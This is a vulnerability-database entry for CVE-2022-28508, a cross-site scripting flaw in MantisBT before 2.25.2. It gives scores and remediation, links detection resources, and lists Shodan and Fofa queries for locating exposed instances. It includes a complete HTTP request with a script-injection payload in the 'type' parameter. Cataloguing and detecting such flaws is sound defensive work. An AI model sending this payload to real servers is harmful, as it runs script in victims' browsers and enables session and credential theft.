🔙 목록으로 돌아가기

CVE-2022-28508: MantisBT < 2.25.2 - Cross-Site Scripting

TitleMantisBT < 2.25.2 - Cross-Site Scripting
Authorritikchaddha
SeverityMedium
ImpactSuccessful exploitation allows attackers to execute arbitrary JavaScript code in the context of a victim's browser,potentially leading to session hijacking, credential theft, or phishing attacks.
RemediationUpgrade to MantisBT version 2.25.2 or later which contains the fix for this vulnerability.If upgrading is not immediately possible, restrict access to the browser_search_plugin.php endpoint.
CVSS Score6.1
EPSS Score0.01452
CVE IDCVE-2022-28508
CWE IDCWE-79
Shodan Querytitle:"MantisBT"
Fofa Querytitle="MantisBT"
Tags cve cve2022 mantisbt xss opensearch vuln

🔍 Vulnerability Description

MantisBT before 2.25.2 contains a cross-site scripting vulnerability in browser_search_plugin.php. The application does not properly sanitize the ‘type’ parameter, which allows attackers to inject arbitrary web script or HTML via a crafted URL.

🌐 HTTP Request

GET /browser_search_plugin.php?type=text%27%22()%26%25<acx><ScRiPt>alert(document.domain)</ScRiPt> HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:126.0) Gecko/20100101 Firefox/126.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-28508.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-28508.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A